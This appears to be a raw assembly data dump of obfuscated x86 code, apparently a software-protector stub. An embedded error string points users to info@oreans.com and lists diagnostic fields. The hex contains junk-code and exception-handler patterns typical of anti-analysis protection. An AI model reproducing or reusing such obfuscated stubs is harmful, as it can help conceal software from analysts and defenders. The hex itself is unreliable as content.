0DB1B960h dd 0DE9D32Eh, 79FE43D6h, 0BD835A1Fh, 61B23D1h, 83097500h dd 1B3129BDh, 19740006h, 0C08B5350h, 7D3B8h, 0A1858900h dd 8D061B2Dh, 1DA64D9Dh, 5BD3FF06h, 29BD8358h, 61B31h dd 53501774h, 7D3B8h, 0A1858900h, 8D061B2Dh, 1DA33C9Dh dd 5BD3FF06h, 0ED958B58h, 0E9061B08h, 14h, 271EF01h, 0D749429h dd 0B98AB433h, 84FDE05Bh, 9914A692h, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0D64AB0C3h dd 0E84C91E2h, 81D1BF0Fh, 1DEF1ABDh, 65726F06h, 0C8840F61h dd 81000000h, 51F488CAh, 92858D1Dh, 50061DEFh, 0F0CF858Dh dd 8D50061Dh, 1DF0F085h, 95FF5006h, 61B2D71h, 0C60CC483h dd 1B239D85h, 4F684406h, 0FF96A318h, 1B2BF9B5h, 1F858D06h dd 0FF061B39h, 8DD88BD0h, 1DF0F085h, 0D3FF5006h, 0EF1A858Dh dd 8D50061Dh, 1DEF9285h, 0BD835006h, 61B2235h, 8D087400h dd 1DF0B885h, 8D06EB06h, 1DF0A185h, 858D5006h, 61DF0F0h dd 7195FF50h, 83061B2Dh, 6A10C4h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0F64A50C3h, 0E871531Dh dd 0Dh, 7F3FCB19h, 0BB1B1978h, 21556E8Fh, 8D0B60A9h, 61B0801h dd 8F0Fh, 5A610000h, 8166CA8Bh, 0FFB458EAh, 1B169595h dd 28D0F06h, 0B2000000h, 0FF2586h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 9FF66CC3h dd 7F04421Dh, 0BAEAE857h, 82D3F71h, 0C935C281h, 0F8830BBAh dd 7D830F05h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 17EC355h, 0B19B4188h dd 0BD898BFFh, 61B2555h, 1C64B2BFh, 0BD85C71Ch, 1061B08h dd 81000000h, 0A1FC5FD2h, 4E858D51h, 6A061DEFh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 3A2CC350h, 9425FC00h, 0F524220h, 384h, 0F9BF0F00h, 66E95Ah dd 8D330000h, 61B2E8Dh, 2235BD83h, 0F00061Bh, 3984h, 8D235700h dd 61B24CDh, 8D8D295Fh, 8D061B29h, 1DEF7985h, 18810F06h dd 0E9000000h, 13h, 983D9990h, 0A4E51292h, 0B5B76F8Eh dd 0F50C65A5h, 0E942D954h, 1Ch, 858DEBB5h, 61DEF5Bh, 1CF9BD8Bh dd 8B60061Bh, 1B2A8D8Dh, 0E5B52306h, 61061B30h, 0EF8E8589h dd 6A061Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0F14298C3h, 8D34AD49h, 85958B24h, 83061B1Eh dd 1B2235BDh, 850F0006h, 18h, 10B19D31h, 0BD83061Bh, 61DFF15h dd 0D840F00h, 66000000h, 7148E181h, 10AFE9h, 0CFB70F00h dd 44BE9h, 0F88B6600h, 0FE9C08Bh, 59000000h, 59783F6Eh dd 3B37CCFCh, 818D6BFAh, 0BD316DCFh, 61B17DDh, 23D1BD83h dd 7500061Bh, 29BD8309h, 61B31h, 53501974h, 0D4B8C08Bh dd 89000007h, 1B2DA185h, 4D9D8D06h, 0FF061DA6h, 83585BD3h dd 1B3129BDh, 17740006h, 0D4B85350h, 89000007h, 1B2DA185h dd 3C9D8D06h, 0FF061DA3h, 8B585BD3h, 0D9F7BAD6h, 0C08B6315h dd 1B61B501h, 3F68061Bh, 6A000F00h, 89006A00h, 1B19F59Dh dd 9995FF06h, 80061B10h, 0C08591F5h, 4850Fh, 0B9660000h dd 858980DDh, 61DEF12h, 6ACE8B66h, 0B9858900h, 31061B08h dd 1B0C2D85h, 0E8006A06h, 10h, 7E4880DDh, 664C6742h, 353A7D7h dd 0C96EBB0Ch, 14218D89h, 6A5F061Bh, 0BF66FC00h, 6A5EE8h dd 2B39B509h, 6A061Bh, 0CE9h, 35FC7000h, 88D508Ah, 0D43BB9AAh dd 0F0858DC1h, 6A061DF0h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8963C351h, 1B089985h dd 8D8B5006h, 61B2285h, 6A016Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0F128DEC3h, 67D28166h dd 0F5016ADDh, 860F016Ah, 6, 94DCA81h, 14E84378h, 76000000h dd 768C7EEAh, 0BBD4029h, 0D7BA37C5h, 4FFE48Bh, 8B7F3B5Ah dd 1B0BDDBDh, 0FF685A06h, 60000F01h, 10E9h, 0D0793900h dd 47346F75h, 72238D4Dh, 0B2883C67h, 0BD8361F5h, 61B2235h dd 21840F00h, 8B000000h, 1B0B11BDh, 6F858D06h, 66061DEFh dd 3989CA81h, 24619589h, 0DE9061Bh, 0BA000000h, 76F62ACCh dd 0EF45858Dh, 0F88B061Dh, 0C1CF8150h, 507ED351h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 73C35141h, 0FE8BD8C2h dd 0EF12B5FFh, 9D29061Dh, 61B0F25h, 0EEFE95FFh, 9ABF061Dh dd 8544DC86h, 3C850FC0h, 0E9000000h, 9, 0BC24248Ch, 6F6B6C06h dd 11E8CAh, 410E0000h, 32DD5D21h, 433CD04Ah, 67B3D85Ch dd 31C4AED7h, 1B0A4D9Dh, 3CE95F06h, 8B000000h, 1B240595h dd 0B5958B06h, 89061B1Ch, 1DEF1685h, 0B5FFF906h, 61DEF16h dd 2E518D8Bh, 95FF061Bh, 61B1BB5h, 6C28166h, 59BF66CFh dd 0FC0851Bh, 685h, 0A9BD2B00h, 6A061B0Eh, 52006A10h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 8E1FE852h, 0B6B44FF0h, 8B666BA8h, 0BE8D1h, 64DA0000h dd 96593272h, 1517FA4Fh, 0CBBF0F87h, 0E280525Ah, 0BD835FD7h dd 61B2235h, 1C840F00h, 66000000h, 0B66434BFh, 6F858D9Fh dd 0FC061DEFh, 0FD853160h, 8B061B2Eh, 11E961CFh, 8D000000h dd 1DEF4585h, 6E906h, 4AD30000h, 966EBE77h, 0FFCB8A50h dd 1DEF12B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 737F00B3h, 0CB8BBD07h, 95952B60h dd 29061B12h, 1B25FD95h, 95FF6106h, 61DEF0Ah, 13E9h, 0AEB74200h dd 0CC3AB0E4h, 6B31EE15h, 0E6964EF2h, 9509A03Fh, 850FC085h dd 0Ch, 10DDBD89h, 958B061Bh, 61B1059h, 0EF168589h, 6A061Dh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0BD8BEDC3h, 61B1B4Dh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0FB8B74C3h, 12E8006Ah dd 73000000h, 6F7F8CBDh, 2EFAD41Eh, 0CBA4D002h, 0A5A7C958h dd 0DF81661Fh, 0FF5A8AC7h, 1DEF16B5h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 32E518A8h, 95FFEEA2h, 61DEF02h, 1A9D9589h, 0C085061Bh dd 1D850Fh, 14E80000h, 0FB000000h, 6E458A38h, 5FD3C473h dd 0DEE9823Bh, 16BC149Bh, 0FAF3D46h, 0FF59D2B7h, 1DEF16B5h dd 0F5D4B906h, 0BA6613C5h, 95FF51EDh, 61B1BB5h, 2870Fh dd 0E8B10000h, 850FC085h, 0 dd 72B1006Ah, 8068h, 0F7816600h, 36AD6FFh, 10E9h, 7ADC9300h dd 0D60656B7h, 8EE11756h, 0F8B072A2h, 8B006AB2h, 1B1AA595h dd 0BA006A06h, 48418AA8h, 68h, 53006AC0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 9F81BDA6h dd 5C23F73Eh, 8166A7B8h, 0FF3FCCC9h, 1DEF8EB5h, 0F7816606h dd 95FF7720h, 61B2B21h, 5E9h, 343E0A00h, 0F8832B84h, 0EA850FFFh dd 0B6000004h, 0FC85FF20h, 0F061DF9h, 0BD83CBBFh, 61DF9FCh dd 91840F02h, 0B9000003h, 12A35DB4h, 1559503h, 858D061Bh dd 5AF59Fh, 2D81B589h, 0D0FF061Bh, 3C20D981h, 858D7D62h dd 5AEFF2h, 11860Fh, 0CE90000h, 0E0000000h, 0F7EA1979h dd 6901C12Fh, 0FFCDBBC1h, 0E1952BD0h, 8B061B08h, 6820FC0h dd 89000000h, 1B118D8Dh, 0D1BD8306h, 61B23h, 0BD830975h dd 61B3129h, 50197400h, 0B8C08B53h, 7D8h, 2DA18589h, 9D8D061Bh dd 61DA64Dh, 585BD3FFh, 3129BD83h, 7400061Bh, 0B8535017h dd 7D8h, 2DA18589h, 9D8D061Bh, 61DA33Ch, 585BD3FFh, 6C81EF81h dd 6A4A11h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 3FC40FC3h, 958BC08Bh, 61B104Dh, 0DAE78166h dd 3F6844h, 8166000Fh, 6A6C0AD2h, 8D8B5000h, 61B2501h dd 89006A5Ah, 1B1B7DBDh, 0CF8B6606h, 109995FFh, 6A061Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 3A6938C3h, 13E8h, 97750800h, 48027647h, 6881010h, 5F38D6A0h dd 5731E236h, 3035B589h, 0B959061Bh, 75A6ACC7h, 6A76ACBFh dd 8BC0850Fh, 1B1D418Dh, 12858906h, 66061DEFh, 68C22ABFh dd 0F01FFh, 35BD83F9h, 61B22h, 43840Fh, 9E80000h, 0A9000000h dd 860FFA17h, 0F95455B3h, 18D0Fh, 5AF90000h, 0EF6F858Dh dd 6A061Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0B5894DC3h, 61B30F5h, 11E9h, 45858D00h, 0E9061DEFh dd 6, 0DBF45115h, 29504982h, 1B1A0DB5h, 12B5FF06h, 0F061DEFh dd 68Bh, 0B1B50900h, 0FF061B13h, 1DEF0A95h, 0D18B6606h dd 68DBD8Bh, 8589061Bh, 61DEF16h, 0C0D8501h, 0B589061Bh dd 61B20F1h, 255985C7h, 61Bh, 0C88B0000h, 0EF16BD83h, 0F00061Dh dd 16184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 86EF00C3h, 0F281E993h, 7C9CD3A1h dd 0F1F4858Dh, 850F061Dh, 1, 8A0F50F9h, 6, 25D58589h, 16A061Bh dd 0DF9958Bh, 0B5FF061Bh, 61DEF16h, 0BD89F860h, 61B326Dh dd 0E95FF61h, 89061DEFh, 1B2FA5B5h, 16B5FF06h, 66061DEFh dd 95FAEF81h, 1BB595FFh, 43B9061Bh, 680C56D4h, 0F01FFh dd 0CE9h, 0D0063800h, 0EC2D7BB8h, 0EF6D95AAh, 35BD830Dh dd 61B22h, 22840Fh, 0BF660000h, 858D48C2h, 61DEF6Fh, 2FB9B589h dd 8B0F061Bh, 3, 0E9D0B70Fh, 35h, 5AD08B52h, 0EF45858Dh dd 6A061Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0A19623C3h, 9A86F476h, 8B8707ADh, 1B07618Dh dd 50B55006h, 0FFD3B70Fh, 1DEF12B5h, 0F9BD8B06h, 0FF061B02h dd 1DEF0A95h, 0F3BF6606h, 16858991h, 0FF061DEFh, 1DEF16B5h dd 0CBB70F06h, 0EF0695FFh, 6A061Dh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0ECE3C3h dd 0A23C21BEh, 8D8B9908h, 61B0BCDh, 0EF16B5FFh, 0BF66061Dh dd 95FFBF63h, 61B1BB5h, 11F58D8Bh, 0ADE9061Bh, 6AFFFFF7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0A997C353h, 7A6A53A0h, 0D01A9835h, 0FA5FB5FFh dd 0BA66061Dh, 95FF40B2h, 61B2F85h, 858B2FB2h, 61B1789h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 55C35141h dd 0FE9E87Bh, 90000000h, 65194A15h, 9A8B2D48h, 867350B0h dd 0F7E9345Fh, 81000005h, 124374CAh, 14B58D0Bh, 81061DF2h dd 0EBE0B1C7h, 7C858D7Dh, 8B061D9Fh, 1B00B195h, 6AD0FF06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0A6D1C355h, 6AF861A9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0E4FF84C8h dd 1465FD33h, 0AE9h, 5D8C5B00h, 0DEF3D29Ah, 0FFAE907Dh dd 1B2FBD95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0DBD7CA15h, 22E07A47h, 9D0956F5h dd 61B174Dh, 0F38BF55Ah, 9480BFF5h, 858D22D8h, 61D9F7Ch dd 28DA8166h, 0E8D0FF17h, 12h, 0C13D989Eh, 960EEB07h, 0AF98D0A6h dd 0E3C101E9h, 8166B80Dh, 5A6CF1DFh, 8C0F006Ah, 5, 78BFDFBAh dd 0BD95FF14h, 29061B2Fh, 1B17F185h, 0E9C08B06h, 7, 0B5C3E4CFh dd 8A7D7CB9h, 0D1BD83F5h, 61B23h, 0BD830975h, 61B3129h dd 50197400h, 0B8C08B53h, 7D9h, 2DA18589h, 9D8D061Bh, 61DA64Dh dd 585BD3FFh, 3129BD83h, 7400061Bh, 0B8535017h, 7D9h, 2DA18589h dd 9D8D061Bh, 61DA33Ch, 585BD3FFh, 0C08BD18Bh, 2DB58531h dd 350061Bh, 1B1E9DBDh, 0E9D88B06h, 0Ah, 6D30AFE9h, 874EE59Ch dd 8D532EDCh, 1B30759Dh, 89038B06h, 50438B03h, 8D504389h dd 1DF9F89Dh, 89038B06h, 958B5B03h, 61B1BBDh, 0BF006AF5h dd 68B50CC8h, 0F9F8858Dh, 880F061Dh, 2, 0BCB2D78Bh, 0F9B1BA50h dd 606A24A8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0CC35646h, 9C9BE62Ah, 8DD68B66h, 1B307585h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 1E12F53Ah, 9D297A81h, 61B2BC1h, 8B006A50h, 1B229DBDh dd 1006A06h, 1B0A7595h, 6879B506h, 1800h, 53FFBF0Fh, 29398D89h dd 95FF061Bh, 61B3025h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 20C35747h, 7E6A2F5Ah, 0ADD8D8Bh, 95FF061Bh dd 61B1A09h, 0FFC8B70Fh, 1DFA5FB5h, 59850906h, 0FF061B03h dd 1B2F8595h, 8E906h, 4ADC0000h, 0A675415Ah, 60564EB5h dd 23D6BF0Fh, 1B2E71BDh, 8D596106h, 1B307585h, 18D8B06h dd 8B061B2Eh, 6A1840h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0C88B85C3h, 6D85C7h, 61Bh, 0BA530000h dd 5DFD7214h, 35BD835Ah, 61B22h, 16840Fh, 8C3D0000h, 0F000000h dd 24883h, 0FB8B6600h, 19E9h, 0CA8B6600h, 963Dh, 32830F00h dd 0F000002h, 584h, 0C886BA00h, 858D074Eh, 5AF59Fh, 6AD0FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0DC43BCC3h, 8B01F18Ah, 0F2858DCEh, 60005AEFh, 20E1BD2Bh dd 9D8B061Bh, 61B2149h, 6AD0FF61h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 261C350h dd 59FE23B9h, 0A6509D0Ah, 11E8h, 4B967D00h, 0DF82C94Dh dd 59EE4D2Eh, 0C5152DDAh, 0AE98451h, 8B000000h, 1B400C2h dd 559EE0E6h, 0BF0F5991h, 8BDDB2D3h, 80F88BC0h, 0BD83DDC1h dd 61B23D1h, 83097500h, 1B3129BDh, 19740006h, 0C08B5350h dd 0BC6B8h, 0A1858900h, 8D061B2Dh, 1DA64D9Dh, 5BD3FF06h dd 29BD8358h, 61B31h, 53501774h, 0BC6B8h, 0A1858900h, 8D061B2Dh dd 1DA33C9Dh, 5BD3FF06h, 0CD8D2958h, 8B061B23h, 16810FFBh dd 0E8000000h, 0Eh, 56168C9Eh, 93A20957h, 15ECE685h, 0FA8B4E8Eh dd 6AC08B5Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 411BC352h, 56D4EAA4h, 0BD897EB5h dd 61B2E65h, 16BD958Bh, 810F061Bh, 2, 0F883D48Ah, 89850FFFh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 7BE4C350h, 100C8AB9h, 46F28166h dd 0B18531AEh, 0C7061B1Eh, 1B00BD85h, 6, 13E800h, 0EF510000h dd 0E5D48F01h, 28FE1076h, 37F18811h, 3C8C0C46h, 0E959F97Fh dd 116h, 7FE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0FDBE24BEh, 5FF2C2h, 20DBD89h dd 8D0B061Bh, 61B1BF5h, 0F01F883h, 4785h, 0FB8B6600h, 119E9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 81F0E038h, 203B7554h, 8E860h, 44550000h dd 47F39113h, 8A0F7D82h, 0 dd 0E99D895Eh, 61061B29h, 0FFF217E9h, 66C08BFFh, 19FCE181h dd 23D1BD83h, 7500061Bh, 29BD8309h, 61B31h, 53501974h dd 0DDB8C08Bh, 89000007h, 1B2DA185h, 4D9D8D06h, 0FF061DA6h dd 83585BD3h, 1B3129BDh, 17740006h, 0DDB85350h, 89000007h dd 1B2DA185h, 3C9D8D06h, 0FF061DA3h, 8B585BD3h, 8BD38BFBh dd 3840FC0h, 0F000000h, 55E9D1B7h, 6A000002h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 9B76C353h, 0D38B664Ch, 1CF59D09h, 858D061Bh, 61DF7FCh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0ABC35545h dd 49BD8950h, 5A061B1Ah, 8EE18166h, 0F485893Fh, 8B061DF9h dd 0B19531D3h, 0E9061B2Fh, 40h, 1B6D9D89h, 858D061Bh, 61DF604h dd 0CAB70F40h, 1845BD89h, 8589061Bh, 61DF9F4h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5C35646h, 68633CF0h dd 0F08A1DF7h, 858D346Ah, 61B1BF9h, 0F4B5FF50h, 6A061DF9h dd 7995FF00h, 83061B2Fh, 840F07F8h, 162h, 0F6DB8C66h, 850F04C3h dd 0FCh, 239D85C6h, 6856061Bh, 9CA8B852h, 2BF9B5FFh, 858D061Bh dd 61B391Fh, 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 1DFA6785h dd 9D85C606h, 47061B23h, 18AC9B68h, 0F9B5FFECh, 8D061B2Bh dd 1B391F85h, 0FFD0FF06h, 0C6F08BD0h, 1B239D85h, 61684F06h dd 0FFC62F26h, 1B2DB9B5h, 1F858D06h, 0FF061B39h, 639D8DD0h dd 53061DFAh, 0FF56286Ah, 75C085D0h, 9D85C600h, 41061B23h dd 87649868h, 0B9B5FFDBh, 8D061B2Dh, 1B391F85h, 89D0FF06h dd 1DFA8085h, 9D85C606h, 4C061B23h, 0A4E7A468h, 0B9B5FF80h dd 8D061B2Dh, 1B391F85h, 8BD0FF06h, 1DFA679Dh, 45B8D06h dd 6C9D8D53h, 53061DFAh, 0D0FF006Ah, 0FA679D8Bh, 3C7061Dh dd 1, 20C43C7h, 0C7000000h, 1B08E985h, 6, 6A006A00h, 8B006A00h dd 1DFA679Dh, 6A5306h, 0FA63B5FFh, 95FF061Dh, 61DFA80h dd 239D85C6h, 6845061Bh, 92A5F797h, 29B5B5FFh, 858D061Bh dd 61B391Fh, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h dd 0FA679D8Bh, 43C7061Dh, 0Ch, 6A006A00h, 679D8B00h, 53061DFAh dd 0B5FF006Ah, 61DFA63h, 0FA8095FFh, 0B5FF061Dh, 61DFA63h dd 1A0995FFh, 6A061Bh, 2FBD95FFh, 9D89061Bh, 61B1111h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E9C35141h dd 2DBD858Dh, 0AE9061Eh, 0A0000000h, 640012CFh, 505DB220h dd 6A50E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 48A4AFC3h, 14E8F2h, 5D2E0000h, 0BDB0FD34h dd 1D76A83Bh, 0DD8906D3h, 0EA838A46h, 0F88BDE59h, 64CB8A59h dd 35FFh, 0CABA0000h, 64006886h, 2589h, 8B660000h, 35BD83FEh dd 61B13h, 4C840Fh, 8B660000h, 0D5BD83D6h, 1061B1Ch, 3C850Fh dd 840F0000h, 0Eh, 0A5BD8B60h, 89061B0Ah, 1B1C7D8Dh, 0BD806106h dd 61DFE80h, 1B850F00h, 0B9000000h, 5DC1850Ah, 24098D23h dd 7CE9061Bh, 0F000001h, 583h, 89BEB900h, 0DB3302E6h, 33F8BF0Fh dd 0B70F56C0h, 8D895FD7h, 61B18E1h, 73F0F40h, 58F640Bh dd 0 dd 6A04C483h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 4562C356h, 0F49D46F6h, 0BD0B8FE7h dd 61B0055h, 1EFD8D0Bh, 0B966061Bh, 0FB839E8Fh, 18840FFFh dd 66000000h, 2DEBD981h, 100E9h, 8D896000h, 61B1911h, 16C59D89h dd 0E961061Bh, 8Bh, 860Fh, 4C8B0000h, 81C70C24h, 0A4h dd 0FFFFFFFFh, 0B88183h, 33040000h, 5C8BC3C0h, 0E8550C24h dd 0 dd 0DFED815Dh, 8B061E2Dh, 0B883h, 0AE858D00h, 89061E2Eh dd 0B883h, 0C0335D00h, 0FE9C3h, 609B0000h, 3B64696Ah, 30D21911h dd 93077956h, 0F18D2398h, 6A061B32h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0A440C356h dd 0E3C52FFBh, 507EAE71h, 0E099D89h, 8D59061Bh, 1E2DD585h dd 50FDB206h, 3818509h, 8E8061Bh, 0C3000000h, 1CD14BBAh dd 8BEC9CFEh, 1B0BC18Dh, 0FF645F06h, 35h, 8589F800h, 61B2A19h dd 258964h, 8B000000h, 0AB9F8h, 4B80000h, 54855D7h, 0DF78164h dd 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh dd 75564D58h, 0A585C70Ah, 1061B1Eh, 64000000h, 58Fh, 0C4830000h dd 9E904h, 43980000h, 0AD0D7618h, 6A7314F0h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 72D3C351h, 399DEB7h, 8D09C08Bh, 61B333Dh, 83DAC980h dd 1B23D1BDh, 9750006h, 3129BD83h, 7400061Bh, 8B535019h dd 43DB8C0h, 85890000h, 61B2131h, 0A6B49D8Dh, 0D3FF061Dh dd 0BD83585Bh, 61B3129h, 50177400h, 43DB853h, 85890000h dd 61B2131h, 0A3559D8Dh, 0D3FF061Dh, 6A585Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0F535CC3h dd 589h, 296DBF00h, 3359647Bh, 1B0D35BDh, 0E9C08B06h, 13Ah dd 4, 35382E31h, 35h, 6 dup(0) dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh dd 61B12FDh, 2D840F00h, 8D000001h, 1DA16C85h, 858D5006h dd 61DA0D6h, 16850h, 95FF8000h, 61DA17Ch, 2F73858Dh, 8D50061Eh dd 1E2F7D85h, 6A5006h, 858D006Ah, 61DA0EAh, 6CB5FF50h dd 0FF061DA1h, 1B2EF195h, 73858D06h, 50061E2Fh, 2F81858Dh dd 6A50061Eh, 8D006A00h, 1DA0FC85h, 0B5FF5006h, 61DA16Ch dd 2EF195FFh, 858D061Bh, 61E2F73h, 8D858D50h, 50061E2Fh dd 6A006Ah, 0A149858Dh, 0FF50061Dh, 1DA16CB5h, 0F195FF06h dd 8D061B2Eh, 1E2F7385h, 858D5006h, 61E2F95h, 6A006A50h dd 67858D00h, 50061DA1h, 0A16CB5FFh, 95FF061Dh, 61B2EF1h dd 2F73858Dh, 8D50061Eh, 1E2F9185h, 6A5006h, 858D006Ah dd 61DA150h, 6CB5FF50h, 0FF061DA1h, 1B2EF195h, 73858D06h dd 50061E2Fh, 2F85858Dh, 6A50061Eh, 8D006A00h, 1DA15885h dd 0B5FF5006h, 61DA16Ch, 2EF195FFh, 858D061Bh, 61E2F73h dd 89858D50h, 50061E2Fh, 6A006Ah, 0A15F858Dh, 0FF50061Dh dd 1DA16CB5h, 0F195FF06h, 0FF061B2Eh, 1DA16CB5h, 9195FF06h dd 0E9061B1Dh, 0A2h, 0FDBD83h, 0F00061Bh, 9584h, 0D5BD8300h dd 61B1Ch, 11850Fh, 958B0000h, 61B22B1h, 1CF8C281h, 0FE90000h dd 8D000000h, 1B307595h, 34528B06h, 0C340C281h, 95893BD4h dd 61B1E99h, 1E99BD83h, 0F00061Bh, 5584h, 999D8B00h, 83061B1Eh dd 38B4CC3h, 2F7D8589h, 9D8B061Eh, 61B1E99h, 8B50C383h dd 81858903h, 8B061E2Fh, 1B1E999Dh, 54C38306h, 8589038Bh dd 61E2F8Dh, 1E999D8Bh, 0C383061Bh, 89038B58h, 1E2F9185h dd 999D8B06h, 83061B1Eh, 38B5CC3h, 2F858589h, 0BD83061Eh dd 61B12FDh, 0D850F00h, 83000000h, 1B00FDBDh, 840F0006h dd 68h, 2F95B5FFh, 0B5FF061Eh, 61E2F89h, 2F85B5FFh, 0B5FF061Eh dd 61E2F91h, 2F8DB5FFh, 0B5FF061Eh, 61E2F81h, 2F7DB5FFh dd 858D061Eh, 61E2F77h, 0AF858D50h, 50061E2Fh, 145D858Dh dd 0FF50061Bh, 1B2D7195h, 24C48306h, 858D406Ah, 61E2F99h dd 5D858D50h, 50061B14h, 95FF006Ah, 61B2F79h, 95FF016Ah dd 61B2FBDh, 6A60C18Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 16D4C353h, 8B9561CEh dd 0F78B66C0h, 23D1BD83h, 7500061Bh, 29BD8309h, 61B31h dd 53501974h, 0EB8C08Bh, 89000004h, 1B2DA185h, 4D9D8D06h dd 0FF061DA6h, 83585BD3h, 1B3129BDh, 17740006h, 0EB85350h dd 89000004h, 1B2DA185h, 3C9D8D06h, 0FF061DA3h, 0BA585BD3h dd 25472D93h, 0A4F9BE66h, 0C08BD18Bh, 35BD83F8h, 61B13h dd 40840Fh, 11E90000h, 3D000000h, 0CF5E938Dh, 0BE071E60h dd 67B9CEFEh, 0E697DECDh, 0D0E9C88Bh, 6A000002h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0A398C352h, 2FFCBEFDh, 0DF8C0C5Fh, 7E9h, 8ED51200h dd 1676430Eh, 4C7F766h, 94850F00h, 0F000002h, 198Fh, 81666000h dd 0E85A81C9h, 0Ch, 0EBC3322Ch, 58D5CC7Ah, 0A090F23h, 6660615Bh dd 9E4CF081h, 18D0Fh, 61F90000h, 6AFF2Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 81D47BC3h dd 81665150h, 599179E6h, 362A9D8Dh, 6A061Eh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 1DD76CC3h dd 5093888Ah, 0EB53F2BEh, 60505A72h, 13E8h, 0F69C4800h dd 0A243DA4Fh, 3EFBB595h, 1C57533Bh, 5AF4EAC4h, 0B59C9BBh dd 93615F35h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 99C35040h, 6A3016AEh, 0B9665699h, 645A160Fh, 35FFh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0CB5FE3C3h, 0DE855h, 0ACCA0000h, 73F31D56h dd 71F6363Bh, 0E931C0EBh, 5, 5CA552FAh, 